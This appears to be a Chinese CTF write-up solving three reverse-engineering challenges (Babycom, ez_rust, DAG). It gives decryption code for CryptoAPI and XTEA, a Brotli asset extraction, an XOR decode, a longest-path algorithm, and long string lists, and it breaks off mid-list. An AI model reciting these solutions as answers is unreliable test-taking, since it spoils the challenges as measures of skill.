UKFC2024 L3HCTF WP

WriteUp 9个月前 admin
18 0 0

UKFC2024 L3HCTF WP

Re

Babycom

  • 想起安洵那个crc了,动调恢复函数,不过这个就恢复两层,加密就一个xtea【密钥断在加密动调就有】和调win32 api的加密

  • 加密入口点:

UKFC2024 L3HCTF WP
  • win32 API解密仿写【看了下微软文档然后直接喂给gpt解密】:

#include <windows.h>#include <wincrypt.h>#include <stdio.h>
int main() { HCRYPTPROV hProv = 0; HCRYPTHASH hHash = 0; HCRYPTKEY hKey = 0; BYTE v70[16] = { 0xEA, 0x3E, 0xD4, 0x1C, 0x70, 0xCB, 0xD7, 0x47, 0x98, 0x5E, 0xCA, 0xDB, 0x53, 0x0C, 0x39, 0x2B }; BYTE v78[32] = {0x0B,0xAF,0x51,0x21,0x9C,0x52,0x10,0x89,0x3F,0x2C,0x34,0x30,0x87,0x13,0xC1,0x4C,0xC1,0x7F,0x81,0x6E,0xBA,0xBD,0xDF,0x43,0x1A,0xF0,0xD7,0xDE,0x8E,0x66,0xB9,0x7C}; DWORD v73 = 32;
if (CryptAcquireContextA(&hProv, 0, 0, PROV_RSA_AES, CRYPT_VERIFYCONTEXT) && CryptCreateHash(hProv, 32771, 0, 0, &hHash) && CryptHashData(hHash, v70, 16, 0) && CryptDeriveKey(hProv, 26126, hHash, CRYPT_EXPORTABLE, &hKey)) { CryptDecrypt(hKey, 0, 0, 0, v78, &v73); // 输出解密结果 printf("Decrypted data: "); for (int i = 0; i < v73; i++) { printf("0x%02X,", v78[i]); } printf("n"); }

// 释放资源 if (hKey) CryptDestroyKey(hKey); if (hHash) CryptDestroyHash(hHash); if (hProv) CryptReleaseContext(hProv, 0);
return 0;}
  • xtea解密

#include <stdio.h>  #include <stdint.h>      void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {      unsigned int i;      uint32_t v0=v[0], v1=v[1], delta=0x114514, sum=delta*num_rounds;      for (i=0; i < num_rounds; i++) {          v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);          sum -= delta;          v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);      }      v[0]=v0; v[1]=v1;  }    int main()  {      uint32_t v[8]={0x74C1B42A,0x05AA59D6,0x9C7F1073,0x62994940,0x8F51843C,0xF1AB373F,0x9661FE0E,0x6A41AD45};      uint32_t const k[4]={0x1CD43EEA,0x47D7CB70,0xDBCA5E98,0x2B390C53};      unsigned int r=32;    for(int j = 0; j < 4; j++){        uint32_t temp[2] = {v[2*j],v[2*j+1]};        decipher(r, temp, k);          for(int i = 0; i < 2; i++){            printf("%c",temp[i]&0xff);            printf("%c",(temp[i]>>8)&0xff);            printf("%c",(temp[i]>>16)&0xff);            printf("%c",(temp[i]>>24)&0xff);        }    }    return 0;  }

ez_rust

  • 参考文章:

https://blog.yllhwa.com/2023/05/09/Tauri%20%E6%A1%86%E6%9E%B6%E7%9A%84%E9%9D%99%E6%80%81%E8%B5%84%E6%BA%90%E6%8F%90%E5%8F%96%E6%96%B9%E6%B3%95%E6%8E%A2%E7%A9%B6/

  • 与文章相同的方式,字符串搜索index.html

UKFC2024 L3HCTF WP
  • 找引用(上图右边黄色地址):

UKFC2024 L3HCTF WP
  • 四个数据分别是文件名,文件名长度,文件地址,文件地址长度,所以我们找到第三个数据的地址处,dump出21865个数据,使用brotli解压脚本进行解压

import brotli
content = open("dump.br", "rb").read()print(len(content))
decompressed = brotli.decompress(content)open("dump", "wb").write(decompressed)
  • Js格式化以后就是一个简单的循环异或

s = "secret"import base64enc = b'JFYvMVU5QDoNQjomJlBULSQaCihTAFY='m = base64.b64decode(enc)for i in range(len(m)):    print(chr(m[i] ^ ord(s[i%6])),end='')

DAG

  • 智障gpt+人工审计还原python代码

  • solution算法就是在求有向无环图的最长路径,func1是连通判断

实际上不需要得到前面的8个字符串变量,把算法搞对,num23知道了以后,num1的值是有限的,直接试就行了

  • 计算路径:

def abc(abcarray, arr, lss, i):    if abcarray[i] > 0:        return abcarray[i]    else:        m = 1        for index, word in enumerate(lss):            if func1(arr, lss, i, index) == 1:                m = max(m, abc(abcarray,arr,lss, index) + 1)        abcarray[i] = m        return m
def func1(arr, lss, i, j): if arr[len(lss) * i + j] != -1: return arr[len(lss) * i + j] else: s1 = list(lss[i]) s2 = list(lss[j]) l1 = len(s1) l2 = len(s2) flag = True n = 0 if l1 - l2 == 1: while n < l2: if s1[n] != s2[n]: if flag: flag = False else: arr[len(lss) * i + j] = 0 return 0 n += 1 arr[len(lss) * i + j] = 1 return 1 else: arr[len(lss) * i + j] = 0 return arr[len(lss) * i + j]
def solution(lss): abcarray = [-1] * len(lss) arr = [-1] * (len(lss) * len(lss)) ans = 1 for i in range(len(lss)): ans = max(ans, abc(abcarray, arr, lss, i)) return ans
num2 = ['klmnowx', 'abcdefgiklmno', 'fgij', 'bcfghijklmno', 'fgjpqrst', 'uy', 'abceklmnouvw', 'pqrstuwy', 'fghijlno', 'mnouvwxy', 'klmnopqt', 'klmnopqrstuy', 'aeuvw', 'muvw', 'abcdeklmnow', 'fhijpqrst', 'mpqrst', 'klmnoprt', 'fghijklno', 'abcdelmo', 'klnuvwxy', 'klmnopst', 'abcdeklmnov', 'fghj', 'luvwxy', 'ghklmnopqrst', 'pqrstwx', 'abcdklmno', 'cdefghij', 'pqrs', 'efghijklmno', 'fghjklmno', 'adeklmno', 'rs', 'kuvwxy', 'ghij', 'befghijklmno', 'ln', 'hijklmnopqrst', 'ghpqrst', 'fgiklmnopqrst', 'pqrtuvwxy', 'pqrsty', 'jklmnopqrst', 'lnouvwxy', 'klmnoqsuvwxy', 'abcdeghklmno', 'fi', 'fghijlnpqrst', 'abdklmnouvw', 'uwx', 'abcdekln', 'klmno', 'abcdekn', 'abcdemuvw', 'pqs', 'fghijpqt', 'klmnopqrstuw', 'n', 'nopqrstuvwxy', 'abcdefghj', 'fghiklmnopqrst', 'klmnorst', 'abcdemnouvw', 'fgh', 'pqt', 'abfghij', 'o', 'nouvw', 'abcdklmnouvw', 'abeklmno', 'abcden', 'klmnopqrstwxy', 'q', 'fghijklmnoprt', 'klmnovx', 'abceuvw', 'klmnopsuvwxy', 'hj', 'abcdefgh', 'fhjklmno', 'klmnoquvwxy', 'wxy', 'klmnopqrstuvwy', 'kln', 'abcdegklmno', 'mno', 'gklmno', 'klnouvw', 'fghijklmnoqr', 'fghijpqrst', 'mnuvwxy', 'ghipqrst', 'klmnoqrtuvwxy', 'acdfghij', 'uwy', 'fghjklmnopqrst', 'mnpqrstuvwxy', 'abcdeknouvw', 'abcdefghijklmno', 'klmnorsuvwxy', 'abcdeh', 'klmnost', 'iklmnopqrst', 'abcdegijklmno', 'fghijklmopqrst', 'fghijklmnors', 'pqrstux', 'abcdefghijlm', 'abcdem', 'klmn', 'opqrst', 'ghjklmnopqrst', 'cdfghij', 'kluvwxy', 'ceklmno', 'abcdeghijklmno', 'lmo', 'bklmno', 'fghijs', 'cdeklmnouvw', 'abcdeknuvw', 'cdklmnouvw', 'abcdeklmnovw', 'klmnopr', 'fghijklmnopqrst', 'klmnopqtuvwxy', 'abcdefhijklmno', 'abcdeuv', 'abcdefhklmno', 'x', 'abcdeouvw', 'fjklmno', 'a', 'klmnopqrstuv', 'abdklmno', 'fghijlm', 'bcefghijklmno', 'quvwxy', 'fghi', 'klmnopqrstuwx', 'r', 'klmnuvw', 'kn', 'abcdeklmn', 'abcdeklmno', 'ps', 'klmnoqrt', 'pstuvwxy', 'klmnopqrsty', 'lmn', 'd', 'abcdefghijmo', 'fghijmnopqrst', 'ghiklmno', 'mouvwxy', 'abcdeghj', 'fghijklmnopr', 'kmnouvwxy', 'fghijklmnopqst', 'klmnox', 'nouvwxy', 'adefghijklmno', 'kmo', 'klmnovy', 'klmnopqrstuvwxy', 'cde', 'y', 'klmnouy', 'fgklmnopqrst', 'nuvwxy', 'kluvw', 'abcdefghijkno', 'abcdekl', 'fghijno', 'ceuvw', 'abcdelo', 'bcdklmno', 'gij', 'abcdeijklmno', 'klmnopqrt', 'abcdeklm', 'pqruvwxy', 'klnuvw', 'fijklmno', 'knpqrstuvwxy', 'fghijklmnor', 'ace', 'abcdekluvw', 'deklmnouvw', 'lpqrstuvwxy', 'abcdefghiklmno', 'fijpqrst', 'klmnopqrstvwy', 'mn', 'kmpqrst', 'ipqrst', 'fghijkmnpqrst', 'uvxy', 'bklmnouvw', 'fghijkmnopqrst', 'fghijklnopqrst', 'kopqrstuvwxy', 'pqrstuwxy', 'abdeuvw', 'acefghij', 'jklmno', 'k', 'fghijqs', 'abcdefghijno', 'fghijklmnort', 'adeuvw', 'vwx', 'gjklmno', 'hi', 'abcdefghijm', 'nuvw', 'fklmnopqrst', 'abcdehklmno', 'fghijklmnoqrt', 'klmnoruvwxy', 'abcdemnuvw', 'klmnovw', 'klmnopqrstvw', 'klmnoqtuvwxy', 'klmnoy', 'wx', 'ouvwxy', 'lmopqrst', 'fghjpqrst', 'lnuvwxy', 'vy', 'abdfghijklmno', 'kmnouvw', 'uvy', 'klmnoqst', 'klmnort', 'pqrstuxy', 'qs', 'lopqrstuvwxy', 'mnouvw', 'abdeklmno', 'abcdelnouvw', 'pruvwxy', 'qrsuvwxy', 'cklmno', 'bc', 'acdfghijklmno', 'j', 'fghijpqs', 'fghijknopqrst', 'fgijklmno', 'fghijnopqrst', 'mpqrstuvwxy', 'knopqrst', 'acdeuvw', 'lnouvw', 'fghijklmn', 'klmnouvxy', 'abcdefghiklmno', 'abcdefghij', 'hij', 'abcdekuvw', 'klmnopqs', 'aklmnouvw', 'acdefghijklmno', 'cfghij', 'fghijpqst', 'cfghijklmno', 'abcdefhi', 'kmouvwxy', 'pquvwxy', 'pqrstuy', 'pqrstuwx', 'ce', 'klmnopqrstv', 'deklmno', 'klmnouvw', 'abcdeno', 'fghijkmo', 'knouvwxy', 'fpqrst', 'hklmno', 'fghijkmopqrst', 'abcdefghjklmno', 'kmpqrstuvwxy', 'dklmnouvw', 'abcdefghijkmo', 'abcdel', 'giklmnopqrst', 'buvw', 'klmo', 'klmnoqrsuvwxy', 'uvwy', 'abcdeluvw', 'klmnostuvwxy', 'bceklmno', 'fghijm', 'defghijklmno', 'ijklmno', 'pqr', 'abcduvw', 'fghijklmnopqt', 'hijklmno', 'klmnoprsuvwxy', 'aeklmno', 'lo', 'klmnouxy', 'cdklmno', 'fghijpr', 'muvwxy', 'lmnouvwxy', 'abce', 'klmnopqrst', 'pt', 'klmnoptuvwxy', 'abde', 'abcdeghiklmno', 'klmnopqsuvwxy', 'klmnouvx', 'efghij', 'klmnouwy', 'bceklmnouvw', 'klmnuvwxy', 'ad', 'klmnoux', 'gjpqrst', 'abcdegij', 'fghijkpqrst', 'fghijlmnopqrst', 'abcdefj', 'fghijklmnops', 'fghijklmnoqs', 'ghi', 'fghijqst', 'abcdemo', 'abcdefghijkl', 'fghklmnopqrst', 'no', 'klmnopqrstuwxy', 'klmnopqrstvwx', 'abcdeklmnou', 'abdefghijklmno', 'klmnopqrstxy', 'acfghij', 'pqrstuvwy', 'kuvw', 'abcdehi', 'de', 'fghijpq', 'lmuvwxy', 'abcdelmouvw', 'abdfghij', 'knuvwxy', 'acde', 'cuvw', 'uw', 'kmopqrstuvwxy', 'abcfghij', 'fghij', 'abcdeklmo', 'abcdehij', 'abcdek', 'fghijklmnoqrst', 'pqrstvx', 'klmnopqrstvx', 'abc', 'klmnoqrstuvwxy', 'acklmnouvw', 'afghijklmno', 'abcdeklmnuvw', 'abcdei', 'fgiklmno', 'klmnopqrstuvw', 'abcklmnouvw', 'abcdelmnuvw', 'abcdehj', 'abcdefghijlo', 'fghpqrst', 'acfghijklmno', 'abcdeg', 'klpqrst', 'klmouvw', 'bdfghijklmno', 'aefghijklmno', 'fijklmnopqrst', 'fghijps', 'fghijklnpqrst', 'fghijklmnop', 'fklmno', 'klmnopqrstw', 'abcdfghijklmno', 'fj', 'lnopqrst', 'fghijkmpqrst', 'fghijlnopqrst', 'ux', 'fgjklmno', 'fghijklmnopqr', 'abcdeghjklmno', 'abcdefghijkmn', 'abcdegiklmno', 'abcdefiklmno', 'acdeklmno', 'klmnops', 'fghijklmnopqrt', 'fghijklmnoqt', 'abcdegj', 'acdklmno', 'abcdeghi', 'abcdelmuvw', 'abcdefg', 'fghijkl', 'gjklmnopqrst', 'hipqrst', 'klmnopqstuvwxy', 'lnuvw', 'ghijpqrst', 'pqrstuvwxy', 'klmnovwx', 'klmnoqstuvwxy', 'bcklmnouvw', 'abdeklmnouvw', 'fghijklmnopq', 'abcdefghijk', 'abcdefghijklno', 'fiklmnopqrst', 'klmnopq', 'npqrstuvwxy', 'klmnopqrstwx', 'abcdefi', 'lpqrst', 'ghijklmnopqrst', 'bd', 'bcuvw', 'hjklmnopqrst', 'adfghijklmno', 'klmnosuvwxy', 'louvwxy', 'bce', 'gpqrst', 'fghijklmnot', 'wy', 'pqrstvwxy', 'fghijkln', 'lmouvw', 'gi', 'fghijn', 'fhklmnopqrst', 'ghj', 'klpqrstuvwxy', 'abcdefgklmno', 'fghijlmo', 'fghijo', 'fhpqrst', 'klmnoprs', 'abcefghij', 'abcdeklno', 'abcdefghijlmno', 'kmnpqrst', 'fghijklmnoq', 'abcdefhij', 'fghijklmnopt', 'klmnopt', 'abcdefklmno', 'abcdelno', 'pqrstw', 'fghijlopqrst', 'bfghij', 'abuvw', 'abcdefghijln', 'ac', 'aefghij', 'prs', 'lmnopqrstuvwxy', 'abcdefghijn', 'klmnopqrstux', 'luvw', 'giklmno', 'kpqrst', 'jpqrst', 'fghijrt', 'fghijlo', 'abcdefij', 'fghijklmnorst', 'fghijqrst', 'tuvwxy', 'fghijlmopqrst', 'klmnouwxy', 'bdeuvw', 'fghijprt', 'klmnoprst', 'pqrstuvy', 'fghijpqrt', 'fgj', 'pqrstvxy', 'abdefghij', 'abcdegh', 'abefghij', 'lno', 'klmnopuvwxy', 'klmnouvwxy', 'fghijrst', 'cd', 'euvw', 'hijpqrst', 'pqrst', 'klopqrst', 'gijpqrst', 'klmnopqrs', 'fghijk', 'klopqrstuvwxy', 'rtuvwxy', 'klmnorstuvwxy', 'stuvwxy', 'abcdevw', 'cdefghijklmno', 'bdeklmno', 'pqstuvwxy', 'fghipqrst', 'fghijpst', 'kmn', 'mo', 'abcdeuw', 'qst', 'fghijklmnost', 'klnopqrst', 'abcdekm', 'abcdefgj', 'klmnopqrstuvy', 'kouvw', 'abcdelmnouvw', 'abefghijklmno', 'fgipqrst', 'klm', 'klmnopstuvwxy', 'abcdekmno', 'fghijmno', 'pqrstvw', 'kmouvw', 'cdeklmno', 'st', 'fij', 'fhiklmno', 'abcdefghklmno', 'lmnuvwxy', 'klmnovwy', 'klmnow', 'mnuvw', 'fghijklmnpqrst', 'klmnoxy', 'fghklmno', 'b', 'lopqrst', 'pqrstuvw', 'abcdekmouvw', 'abcdeklmnouw', 'acduvw', 'klmnoq', 'bde', 'pqrstxy', 'qrs', 'bcdeklmnouvw', 'abcdekmo', 'abcdefghijkn', 'kno', 'abcdefghijklm', 'abcdefgij', 'kmopqrst', 'kmnuvwxy', 'pqrstuvwx', 'fghijkmn', 'acdefghij', 'fghijmn', 'qr', 'l', 'kmnopqrstuvwxy', 'abcdefghijl', 'afghij', 'auvw', 'abcdew', 'klmnopqrstwy', 'adfghij', 'abcdeghij', 'lmopqrstuvwxy', 'abcdefghijklmn', 'uvx', 'km', 'abcdefijklmno', 'abcdeij', 'pq', 'lnpqrst', 'bdfghij', 'abcdefhj', 'mopqrstuvwxy', 'fghijklmnopqs', 'fghijqt', 'ade', 'abcdejklmno', 'fghijklmpqrst', 'pqrstuvxy', 'mouvw', 'mopqrst', 'lmnopqrst', 'abcdefhjklmno', 'acdklmnouvw', 'bcklmno', 'nopqrst', 'qrt', 'fghijlmnpqrst', 'pqrstuv', 'klmnos', 'pqrstwxy', 'fgjklmnopqrst', 'pqrstuw', 'klmnopqrstuvxy', 'fhijklmno', 'abcdekmnuvw', 'ghjklmno', 'klmnoprtuvwxy', 'abcdefghijlmn', 'klmouvwxy', 'abcdegjklmno', 'p', 'hiklmnopqrst', 'rstuvwxy', 'gh', 'cdfghijklmno', 'klmnou', 'iklmno', 'klmnopqrstvxy', 'lmpqrstuvwxy', 'prtuvwxy', 'klmnovwxy', 'pqst', 'klmnortuvwxy', 'lmnpqrstuvwxy', 'fghijmpqrst', 'ghiklmnopqrst', 'klmpqrst', 'klmnoprstuvwxy', 'ghklmno', 'fghijopqrst', 'klmnoqruvwxy', 'abcdeklmouvw', 'ae', 'abcfghijklmno', 'vw', 'fghijr', 'kmnpqrstuvwxy', 'fghijklpqrst', 'vwxy', 'uxy', 'cklmnouvw', 'abcdefghijkm', 'uvw', 'bcd', 'bcefghij', 'abcdeiklmno', 'klmnot', 'cduvw', 'fghijmo', 'eklmnouvw', 'klmnopqrstuwy', 'kmnuvw', 'lmouvwxy', 'abcdefghijlmo', 'cefghij', 'klmnoqs', 'klmnouwx', 'kmuvwxy', 'ceklmnouvw', 'fghijklmnoqrs', 'abduvw', 'abceklmno', 'ghijklmno', 'abcdefghijmn', 'bcdfghij', 'pqrstvwx', 'fghijlpqrst', 'gijklmnopqrst', 'abcdelnuvw', 'pqrstvwy', 'pr', 'fghijklmnos', 'c', 'fghijklmno', 'abcdefghijkmno', 'abcuvw', 'abcdev', 'abeuvw', 'pqrstuvx', 'klo', 'fghijln', 'klmnpqrstuvwxy', 'abcdefghijlno', 'fghijklmnopst', 'acd', 'gipqrst', 'w', 'abcdenuvw', 'deuvw', 'abcdeklmnouvw', 'fg', 'cdeuvw', 'lmnuvw', 'abcdenouvw', 'klmnoqt', 'hklmnopqrst', 'klmnouvwy', 'gijklmno', 'klmnopqrst', 'fghijmopqrst', 'kmno', 'f', 'uv', 'fhij', 'knuvw', 'klmnor', 'klnouvwxy', 'bcdeuvw', 'bdklmno', 'abklmnouvw', 'abcdehjklmno', 'bcde', 'fghijklmo', 'abcdefghijklmo', 'ko', 'abcdeklmuvw', 'bcdefghijklmno', 'beuvw', 'qstuvwxy', 'aeklmnouvw', 'h', 't', 'kmuvw', 'fhi', 'fjklmnopqrst', 'hiklmno', 'fhipqrst', 'qrtuvwxy', 'abcdeklnuvw', 'fghijqrt', 'pqrstx', 'bdefghijklmno', 'gj', 'abcdelmno', 'abcdefjklmno', 'fhjpqrst', 'klnpqrst', 'fgijklmnopqrst', 'abcdelm', 'fghijrs', 'klmnouw', 'fhklmno', 'abcdeln', 'fgijpqrst', 'fghijklmnoqst', 'abeklmnouvw', 'klmuvw', 'i', 'lmno', 'fghijklo', 'fghijkm', 'g', 'adklmnouvw', 'be', 'abcdefgjklmno', 'prst', 'puvwxy', 'qrstuvwxy', 'klmnov', 'klmnopqrstuvwx', 'acefghijklmno', 'fghijpqrs', 'fhj', 'abklmno', 'abcd', 'fiklmno', 'ijpqrst', 'fghijnpqrst', 'lmnouvw', 'suvwxy', 'knouvw', 'duvw', 'fghijkmno', 'bdefghij', 'aceklmno', 'fgklmno', 'fghijst', 'adefghij', 'fghijklmnopqrs', 'bcdefghij', 'abcdefghijko', 'klmnotuvwxy', 'klmnopruvwxy', 'klmnovxy', 'qtuvwxy', 'fhjklmnopqrst', 'klmnoqrst', 'prt', 'fghijt', 'uvwx', 'abcdekmnouvw', 'dfghij', 'abcdehiklmno', 'klmnopqrstu', 'adeklmnouvw', 'abcdefghijmno', 'klmnopquvwxy', 'abcdefghijkln', 'mnpqrst', 'fghijlmn', 'lnopqrstuvwxy', 'pqrt', 'fghijpt', 'abcde', 'ij', 'bcdklmnouvw', 'fghijkn', 'pst', 'bdklmnouvw', 'abcdeko', 'fh', 'fjpqrst', 'fghijqr', 'beklmno', 'fghijklopqrst', 'lmuvw', 'klouvw', 'fghijpqr', 'abcdegi', 'psuvwxy', 'klnopqrstuvwxy', 'abcdelmn', 'fhiklmnopqrst', 'fghijprst', 'lnpqrstuvwxy', 'qruvwxy', 'aduvw', 'abcdekmuvw', 'adklmno', 'abcdeu', 'cefghijklmno', 'lm', 'hjklmno', 'abcdefghijklo', 'klmnoqrs', 'fghijko', 'ouvw', 'pqrstu', 'mnopqrst', 'louvw', 'prsuvwxy', 'abcdekno', 'klmnopqruvwxy', 'kpqrstuvwxy', 'abcdefgijklmno', 'klmnors', 'abcdefghijo', 'npqrst', 'knopqrstuvwxy', 'vx', 'fghijqrs', 'klmnopqrstuxy', 'u', 'aceuvw', 'klmnopqrtuvwxy', 'uvwxy', 'fipqrst', 'klmnowxy', 'befghij', 'gklmnopqrst', 'abe', 'mnopqrstuvwxy', 'fghijklmnoprs', 'abcdeo', 'eklmno', 'fgi', 'fghijlmpqrst', 'qt', 'abcdefghi', 'bcduvw', 'bduvw', 'klouvwxy', 'kouvwxy', 'fghiklmno', 'abcdemno', 'pqsuvwxy', 'ab', 'klmnopqrstvwxy', 'pqrstv', 'abfghijklmno', 'beklmnouvw', 'fghijklm', 'pqrsuvwxy', 'acdeklmnouvw', 'vwy', 'ghjpqrst', 'fghijl', 'klmnopqrstvy', 'abcdelouvw', 'fhijklmnopqrst', 'klmpqrstuvwxy', 'abcdef', 'bcfghij', 'fghijkno', 'kopqrst', 'rsuvwxy', 'abcdekmn', 'aklmno', 'dfghijklmno', 'abcdeklouvw', 'klmnpqrst', 'abcdeklmnouv', 'knpqrst', 'aceklmnouvw', 'kl', 'fghijprs', 'rt', 'klmnopqrsuvwxy', 'bfghijklmno', 'klmnouv', 'abcdefh', 's', 'klmnouvwx', 'fghijp', 'uwxy', 'fghijq', 'klmnoqr', 'vxy', 'fgpqrst', 'fghijlmno', 'defghij', 'pqtuvwxy', 'dklmno', 'klno', 'klmnowy', 'abcdemn', 'abcdeklnouvw', 'ptuvwxy', 'abcdehijklmno', 'acuvw', 'bcdfghijklmno', 'abcdemouvw', 'abcdefgi', 'opqrstuvwxy', 'v', 'lmpqrst', 'abcdeuvw', 'abcdekouvw', 'qrst', 'klmopqrstuvwxy', 'prstuvwxy', 'lmnpqrst', 'pqrstvy', 'abcdfghij', 'klmnop', 'ijklmnopqrst', 'klnpqrstuvwxy', 'klmnopqr', 'xy', 'abcdeklo', 'abd', 'klmnouvy', 'klmuvwxy', 'abcefghijklmno', 'fghijkopqrst', 'fghijklmnoprst', 'ruvwxy', 'm', 'e', 'abcdej', 'hpqrst', 'bceuvw', 'fghijmnpqrst', 'pqrstwy', 'klmnopqrstx', 'qsuvwxy', 'fghijknpqrst', 'bcdeklmno', 'klmopqrst', 'bdeklmnouvw', 'klmnopqst', 'klmnopqrstuvx', 'acklmno', 'hjpqrst', 'abcklmno', 'rst']num3 = ['ysvydhncudvxqgub', 'jxomzgqmpccovmyy', 'hxiwwqdowwbdzrql', 'zqfykhyqgxpuedhx', 'vhszanyizlocrcta', 'dthywqimclejyrxf', 'pxvnsacefcaeqwpn', 'eibroystpzgkhwkt', 'efioczniyhzlkgxx', 'jbafyifjrdsevjlt', 'noggsbrxuzxxxpnv', 'usxugdobkxyvebgp', 'omppygjbdzvfncoh', 'lszhxcyfyhbezqpl', 'sywbjmfmigsrdhbe', 'kmitesfpzturedvn', 'fhccayoplynamcmf', 'xwkxxvmngwdkktcq', 'bkdetlrdtrvxtwnm', 'otbqjkibazuiuzjc', 'bvdlpsuozpxykhso', 'sfkdemywenvutigi', 'zlsgexavkjlbniyz', 'omvmljrelegkrnly', 'ncfqxwbgspmmxequ', 'nsnusovrqfyjqcmi', 'xmfltlmbucykoygu', 'znevkwdmcjkxazvx', 'qmmlumphgweyuqll', 'vvwllhnjjilkkfbr', 'tfczebbrmcwkijpy', 'dyqudxtooxmzaivg', 'qabmbvkkacpipzwv', 'ousivmwzqkzowbsf', 'wiajbnzcyczvdkme', 'jtvkqglawuiitvne', 'hynkguvzlahiaweu', 'dcdhzutcxsrwhtiu', 'sjkbkfbzcltyhkzc', 'vmtoulenvyzgmzph', 'hhpjlqospgyrpjnr', 'trxsiqvzjdsumnbx', 'ifmzrmfjlfbxrspp', 'zuybbnxweoodzrcp', 'dqselcmauqpdbvji', 'ucdmjxlnodsqbtpf', 'yxqxoqyqsuxbvvwh', 'jifmvnffunc2jlgdux', 'fttypgxftlzhrjhu', 'rzmkqtaejgzrwvht', 'fylzmnvoslrjeuhu', 'xxhmsywcfchxybtz', 'nivviopjjkilmfnt', 'vlvtonhigprfttuk', 'cwgnurrfabcfotdmj', 'erjxfseyzaygaujp', 'nrcqdwczglmcvinq', 'dqbyglmywihtexid', 'vqggccuiimjqqpuz', 'wbvvklwhouxxcbzg', 'jxstdmcbouqvysje', 'envdnanmuewgheqr', 'oxjeneckyoxdypwq', 'ityoxogkfmlasgfq', 'tgpkcweywtqopjnc', 'hepoijpjgvckkqzc', 'ubppuzmagmjgmjnf', 'snvaiqinphtkbxtc', 'wvdwymqejrygisbn', 'kmbwjynfbwyablvs', 'rsscpinfcegvnulj', 'oplzudhvjaumtavx', 'oionhndcrjvfexir', 'cxxlrudrixtmjsgw', 'sfngfbrksewwbwuo', 'wngezcjkxlftmure', 'xgkmmsvjjvtlwyko', 'dfaihamfjrwobkai', 'ybzlbmtejcbhkbqn', 'yvgttkpmodjrdjaj', 'wsfkdifjxsisyazp', 'btdahuinzvvmyuti', 'sppdjjphoadtnxqz', 'idikaxmkupaaeyvd', 'bxmusrwhsuglelsa', 'wllftkyuyjwumzfz', 'lsrfakcruqfghhqr', 'oitbsfztaayzgttw', 'qvdaclqbkxzxtvji', 'hqtnylqopcuyitvv', 'dovrsivynjuycgob', 'zbeexmgffbvgyukt', 'jnyrkwuketocbnlp', 'kesivzsfimkupknz', 'fvctuhkhcsxgpnlc', 'geyiflxobsqqgysp', 'vdhnckkljiwiylkc', 'jxixmpjvkuisogjx', 'ggmgthlqqfjzvsiv', 'nkdbbqswrytidodb', 'cvnxasfxcyyprwky', 'msptawajcgigotxx', 'lggqfreicrrzgqug', 'pywexuvmpapzhhmk', 'yjfzlaazckdxqhpk', 'gxopiqnejwahizvy', 'rwptjuqhjshtosim', 'zhszbxltmwjfbcnn', 'hznbmqrhucjlhtev', 'repwvulbjzulzqlm', 'juemhyiaujdhjwda', 'iphegtklhgyiabcof', 'tpqxoalgjntzhxph', 'ahnrxtoyzqrqrxce', 'ljsunmfpleczezfi', 'flqbbwjpvmpiagkm', 'enxrdnasgsrczncm', 'setirvmdopdbgqqi', 'uuyoeqtcgvygmlbd', 'gznmxhdzpgclmmce', 'wrqmvtilsmjrfruj', 'nzbqahmftsbygrje', 'nodxqfwosevxikai', 'ynzmckxtfampkdcb', 'ishsysxcjavxukfq', 'mbwcnmktksqoptdx', 'ybpgwitxuarhyuud', 'odkhmislpnpjltvc', 'imlknoihasmgbjle', 'autoweexfbmsnamc', 'pzddxvvmnmujzovy', 'zbklmwsqltyiqjaq', 'wsfezmwlwnovzfnq', 'ipvtflaxlabczbjwg', 'xmeypiupgboeikma', 'qmhxpnusoafktsrp', 'akbzwaoevusmqhjy', 'ptnrluxfiaoedirs', 'fkkujjetvujaffev', 'iqlaebkqlabcuugvd', 'tvfazupnodyxyegj', 'cxxbmckkoocwwmkv', 'eiinwggrnufbuefm', 'jbajzgyvabcjrpirb', 'anotitqeflusqkmx', 'kkyyjfyqfwuyphvs', 'mkxxxgmewnnfmtgw', 'rfzfkowvhlbuptnn', 'yihacnrktjrrbupi', 'ljbfbmrxivbqhvgn', 'kelkifhcummieqec', 'qwglfqmlgtufeggt', 'ztdsjupiobdswepc', 'nxxrjnqebfrtztab', 'zwuijitgzkamuohu', 'skctyqbrtdlybrad', 'ftvbzzqisluhwvoj', 'tkyzlbdwikxwxtfm', 'yqzbwtibgyhezefc', 'ugmtditxujqhzdjk', 'pzqfxlcsbyiayoqn', 'mvuvmubzxoapqlwq', 'wxydvrxojyifgild', 'gaubuvvoncoahhqs', 'arrqgidasqpyozqo', 'hlktmcpfqmqunsiw', 'hpshspcjtkvjtyfc', 'xwdjpdyqbgkvbbto', 'dnipqamvliabetfk', 'zrptncovohuprjfj', 'zykerhdnpwqnklnp', 'wehvwpjsjmlhbxme', 'qhabvcixedhtacnm', 'nzbonhjtiragsjxu', 'piktfsxlejzjpmxa', 'kpgluxplomivhups', 'utbqkkbmdakmajvb', 'pbosjdvammowabof', 'hwwpavjyghyogxiz', 'qixjbuehpllqwbir', 'watokwdhqrlthmyt', 'fiuvnmucwsfhvirt', 'efjbktqktzylkzym', 'eyagoufvrlrbukvi', 'dbebcdxywrceoioj', 'dmejkiuqtpzkvtil', 'irxxxrbxjvvisefx', 'ezacasyffovrewri', 'zfoernjrzvxkzqjn', 'krrmkfftxdxqxrjf', 'xexiopshwbkipjdw', 'cnuiizhcocljycvu', 'idsxihqjacgtwiuu', 'nwjjtbiketrqdvxb', 'avmxhxabcxhflzcbs', 'uqxjgosfyjcbxshz', 'gwybdcsgvjjacjoq', 'zokabcujdqyhfvvve', 'dudqkxdyvnmzxbal', 'duurelhvlvlwtisc', 'vvduznkfxsydjjsu', 'jvohyxbezkxdybjk', 'tecmjpqvbqdfgbch', 'wmiwtqmxlipobteb', 'bzhfoutsommbeahv', 'pzxilyvfyokfmsmr', 'fvptnoujoahvjljv', 'nntjwlzvtlwjijtq', 'iiahigptxppvjwwh', 'fiwxrfkvznhngctp', 'hljuecxsqwhfhooj', 'kpgylifngxbybkwm', 'ckxgbjjygzkystat', 'anxjpmmadenhxunx', 'kztzbysfhebhkxhw', 'qeywqntlveiebhos', 'jlbvhtvumiyxwqlo', 'ubsttmdcjigfizes', 'tifeodqhusljfhxl', 'xhtrvehthwvsxkmj', 'slytykltdhwruorn', 'ettsedvbbxttpkwg', 'znlstbcrbxxyauvt', 'zvxkminzbadeyxpn', 